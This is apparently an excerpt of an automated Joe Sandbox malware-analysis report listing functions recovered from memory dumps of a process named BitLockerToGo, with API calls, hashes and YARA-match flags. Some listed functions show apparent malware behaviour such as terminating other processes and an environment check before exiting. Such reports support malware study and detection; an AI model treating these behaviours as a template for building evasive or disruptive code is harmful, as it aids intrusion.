Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: e92209d9c11569c6e73c645ebee8f96cd156ea0d07144556d27993cd4e21357c
Instruction ID: 0bdc3f6afbccd61181d64fd6ca513c82b589f29cdd60c458609c4df02a1829f8
Opcode Fuzzy Hash: e92209d9c11569c6e73c645ebee8f96cd156ea0d07144556d27993cd4e21357c
Instruction Fuzzy Hash: 0C516072E001198FCF08CF68D954AAEBBB2FF85305F19865DD821A7750DB31A945CB90

Function 6CC7CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC7CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CC7CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CC7CF4E

Strings

0, xrefs: 6CC7CF30

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: f0b2160d50ccb2f0f9bd73950f22f0190a2622d2427e390dea2b1227716a59b0
Instruction ID: f5ef178f2d7c80579665bd15042f7c1641a3d541b933a0e186324adf8fb5e274
Opcode Fuzzy Hash: f0b2160d50ccb2f0f9bd73950f22f0190a2622d2427e390dea2b1227716a59b0
Instruction Fuzzy Hash: 1251F175A0025A8FCB10CF19C890AAABBB5FF99304F19859DD8595F352E731ED06CBE0

Function 6CCB6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CCB82BC,?,?), ref: 6CCB649B

Part of subcall function 6CC8CA10: malloc.MOZGLUE(?), ref: 6CC8CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB64A9

Part of subcall function 6CCAFA80: GetCurrentThreadId.KERNEL32 ref: 6CCAFA8D
Part of subcall function 6CCAFA80: AcquireSRWLockExclusive.KERNEL32(6CCFF448), ref: 6CCAFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCB653F
free.MOZGLUE(?), ref: 6CCB655A

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 322b7a1dd36669f880507c1ec4d88034620c50813f93420a46d8317c0fad6a33
Instruction ID: 12a830451a5897b3b1fbd323b5e2554cd07c92972b97c29b498d52314f7ea272
Opcode Fuzzy Hash: 322b7a1dd36669f880507c1ec4d88034620c50813f93420a46d8317c0fad6a33
Instruction Fuzzy Hash: 0F3170B5A047059FD704CF14D884A9EBBF4FF89314F00842EE85A97741EB34E919CB92

Function 030194D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 030194EB

Part of subcall function 03018D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0301951E,00000000), ref: 03018D5B
Part of subcall function 03018D50: RtlAllocateHeap.NTDLL(00000000), ref: 03018D62
Part of subcall function 03018D50: wsprintfW.USER32 ref: 03018D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 030195AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 030195C9
CloseHandle.KERNEL32(00000000), ref: 030195D6

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 1529c2d3c76bafc2deb09a14f73bdea6e9492eb52516f6e45dcf7de5d02c7bc3
Instruction ID: 2700c2f92dd6698e3ce89763e8f5e753a545240fa5574d1a87ddfe1a73068e4f
Opcode Fuzzy Hash: 1529c2d3c76bafc2deb09a14f73bdea6e9492eb52516f6e45dcf7de5d02c7bc3
Instruction Fuzzy Hash: D5313A75E4130CAFDB14DFE0DD58BEDB7B8EB44700F108459E506AA188DB74AA89CB91

Function 6CC8B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC8B4F5
AcquireSRWLockExclusive.KERNEL32(6CCFF4B8), ref: 6CC8B502
ReleaseSRWLockExclusive.KERNEL32(6CCFF4B8), ref: 6CC8B542
free.MOZGLUE(?), ref: 6CC8B578

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 40a7bd17f93eb3ff2c60e63c1f47a57743f1941e4c1d4e1f46dfd2ed2d04e7ba
Instruction ID: 4729c6ef2f82f8f9b7e6771e148d5d1eb8f4e382e5b2911fb231c41e4e1748ba
Opcode Fuzzy Hash: 40a7bd17f93eb3ff2c60e63c1f47a57743f1941e4c1d4e1f46dfd2ed2d04e7ba
Instruction Fuzzy Hash: EE11CD30A04B45CBD3118F29D8107A6BBB0FF9A319F10970AE89953E01FBB1A5C5C790

Function 03017980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,03020E00,00000000,?), ref: 030179B0
RtlAllocateHeap.NTDLL(00000000), ref: 030179B7
GetLocalTime.KERNEL32(?,?,?,?,?,03020E00,00000000,?), ref: 030179C4
wsprintfA.USER32 ref: 030179F3

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: b1243a3f52cf9e9b67c28db18ffbd18f6892c1804c5706b29ac8a397dece58ac
Instruction ID: bdaf6a6cad3bd927fc0163ed829b64177fa67f6e00e4549a3a39d3089a5246b4
Opcode Fuzzy Hash: b1243a3f52cf9e9b67c28db18ffbd18f6892c1804c5706b29ac8a397dece58ac
Instruction Fuzzy Hash: DD113CB2944118ABCB14DFC9E949BBFB7F8FB4CB11F00421AF605A2284D3795940CBB0

Function 6CCB3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CC7F20E,?), ref: 6CCB3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CC7F20E,00000000,?), ref: 6CCB3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CCB3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CCB3E0E

Part of subcall function 6CCACC00: GetCurrentProcess.KERNEL32(?,?,6CC731A7), ref: 6CCACC0D
Part of subcall function 6CCACC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CC731A7), ref: 6CCACC16

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: d5c3dcc09e73242bfa3942b2813752d98bddd3d9addc906b936906ac31aa05fe
Instruction ID: 82b9bba028b9344da144a8de2b2b77b39de412d89c31fc81c216abe9db2d4192
Opcode Fuzzy Hash: d5c3dcc09e73242bfa3942b2813752d98bddd3d9addc906b936906ac31aa05fe
Instruction Fuzzy Hash: 8BF0FEB1A402087BE700AB94EC85DAB377DDF46628F050021FD1957741E635BE1686F6

Function 030192E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(03013AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,03013AEE,?), ref: 030192FC
GetFileSizeEx.KERNEL32(000000FF,03013AEE), ref: 03019319
CloseHandle.KERNEL32(000000FF), ref: 03019327

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 3c6699706fab5e06ba0c609676607ddd769b7dcce9de1e229c28d9186bfc4c81
Instruction ID: 59752f01b2bc483ab39f03c126985d24ec211e86213cb1113a61a98ab12108ba
Opcode Fuzzy Hash: 3c6699706fab5e06ba0c609676607ddd769b7dcce9de1e229c28d9186bfc4c81
Instruction Fuzzy Hash: 62F04F39E80208BBDB20EFB0ED59F9E77F9AB48710F10C694B651AB2C4D77496118B84

Function 030011D0 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(03540598,00000000,00000000,00000000), ref: 030011E2
GetDeviceCaps.GDI32(?,0000000A), ref: 030011F1
ReleaseDC.USER32(00000000,?), ref: 03001200
ExitProcess.KERNEL32 ref: 03001211

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceExitProcessRelease
String ID:
API String ID: 272768826-0
Opcode ID: d1deb68dd87825093a56777f1fb2a80f66ca4e9e50537ef4f6c811dd1922a9bc
Instruction ID: f347f31b27b7e9e3d1f95de180f1bcb9cf0c8b2e49cb570b8b6f46f081213f01
Opcode Fuzzy Hash: d1deb68dd87825093a56777f1fb2a80f66ca4e9e50537ef4f6c811dd1922a9bc
Instruction Fuzzy Hash: 40F0C97DA80308BBE710ABA0F94EB6D7BB8EB44702F10C194FA05A62C4D7B559018B91

Function 6CCC85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CCC85D3

Part of subcall function 6CC8CA10: malloc.MOZGLUE(?), ref: 6CC8CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CCC8725

Strings

map/set<T> too long, xrefs: 6CCC8720

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: d589d11aba9d739d9fc8fee6ec23adebe3d313c4c19a7aa533cb39aeb17463db
Instruction ID: a33a427a6569307da1e5f5ff68f813bf1844aa8191489bae652df73eb0783b73
Opcode Fuzzy Hash: d589d11aba9d739d9fc8fee6ec23adebe3d313c4c19a7aa533cb39aeb17463db
Instruction Fuzzy Hash: 05515474A00641CFD701CF28C184E5ABBF1BF4A318F19C29AD8595BB52E375E885CF92

Function 6CC7BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CC7BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CC7BE8F

Strings

0, xrefs: 6CC7BE5B

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: ea964a2acdca65a35f75a25b766a8c2d4e0e5c08c0e67b8b5ba5fb2363254dfd
Instruction ID: ea55a111c9eba7f7295fb63e1b6f822da59cdad0033443309224003c217b112f
Opcode Fuzzy Hash: ea964a2acdca65a35f75a25b766a8c2d4e0e5c08c0e67b8b5ba5fb2363254dfd
Instruction Fuzzy Hash: 3C41AD71909745CFC321CF29C491A9BBBF4FF8A348F004A5DF985A7711E73099498BA2

Function 6CCB3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCB3D19
mozalloc_abort.MOZGLUE(?), ref: 6CCB3D6C

Strings

d, xrefs: 6CCB3D58

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 207fa8a50464b1dbcabb5099af3ccb31210311acc99e55e77e11862bdb14d635
Instruction ID: d83840c44f9f115a8282b936ec7ff495b1941f3f22b52eb3bb0e5c0d28160248
Opcode Fuzzy Hash: 207fa8a50464b1dbcabb5099af3ccb31210311acc99e55e77e11862bdb14d635
Instruction Fuzzy Hash: 1B11C435E14788D7DB009BA9CC144EDB775EF9A318B488259DC55AB602FF30A9C4C350

Function 6CCD6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CCD6E22
__Init_thread_footer.LIBCMT ref: 6CCD6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CCD6E1D

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 6ee4520b31715c4ac42c768049189953f1ee4be68615e58c19b4ef7d871f29d4
Instruction ID: 65b4c8811af38275a90a7d6e74bc7b6d0a037f6f613148b2b0c36f1c09455c9d
Opcode Fuzzy Hash: 6ee4520b31715c4ac42c768049189953f1ee4be68615e58c19b4ef7d871f29d4
Instruction Fuzzy Hash: 20F024702046428FDB008B68E894A8933B1EF53218F250565C56087F51FBA1F507CA93

Function 6CC8BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CC8BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CC8BEF5

Strings

cryptbase.dll, xrefs: 6CC8BEF0

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: f9990b94679915fddfbeb613820a1e0c6e9368d32216bcd47a51cc970cec8952
Instruction ID: 51eb74b39b279c2edcb62c4e9a656aec12c139380d6b7cb976b3ae124461e668
Opcode Fuzzy Hash: f9990b94679915fddfbeb613820a1e0c6e9368d32216bcd47a51cc970cec8952
Instruction Fuzzy Hash: B7D023311C1108EFCB40AB50DD15F163F74AF01319F10C020F33544951D7B09410CF50

Function 6CCCB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CCCB2C9,?,?,?,6CCCB127,?,?,?,?,?,?,?,?,?,6CCCAE52), ref: 6CCCB628

Part of subcall function 6CCC90E0: free.MOZGLUE(?,00000000,?,?,6CCCDEDB), ref: 6CCC90FF
Part of subcall function 6CCC90E0: free.MOZGLUE(?,00000000,?,?,6CCCDEDB), ref: 6CCC9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CCCB2C9,?,?,?,6CCCB127,?,?,?,?,?,?,?,?,?,6CCCAE52), ref: 6CCCB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CCCB2C9,?,?,?,6CCCB127,?,?,?,?,?,?,?,?,?,6CCCAE52), ref: 6CCCB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CCCB127,?,?,?,?,?,?,?,?), ref: 6CCCB74D

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

